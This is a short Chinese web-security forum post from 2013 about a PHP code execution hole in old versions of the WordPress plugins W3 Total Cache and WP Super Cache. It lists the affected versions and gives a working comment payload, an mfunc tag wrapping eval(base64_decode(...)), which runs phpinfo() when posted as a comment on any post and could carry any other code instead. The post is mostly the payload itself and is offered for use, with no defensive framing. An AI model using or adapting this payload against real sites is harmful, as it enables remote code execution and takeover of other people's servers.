← 返回首页

为什么没人发这个？Wordpress W3 Total Cache PHP Code Execution

作者：y35u
发布时间：2013-05-03 04:03:29
浏览：5669    评论：27

为什么没人发这个？Wordpress W3 Total Cache PHP Code Execution

2013-05-03 04:03:29 27 5669
针对以下两个插件都有效
WP Super Cache (version 1.2 and below,  version 1.3.x and up are OK)

W3 Total Cache (version 0.9.2.8 and below, version 0.9.2.9 is OK)



在任意帖子处评论
<!--mfunc eval(base64_decode(cGhwaW5mbygpOyAg)); --><!--/mfunc-->
就执行了php，phpinfo（）;
类别 Web安全

关于作者

y35u166篇文章1147篇回复

wechat:13045558888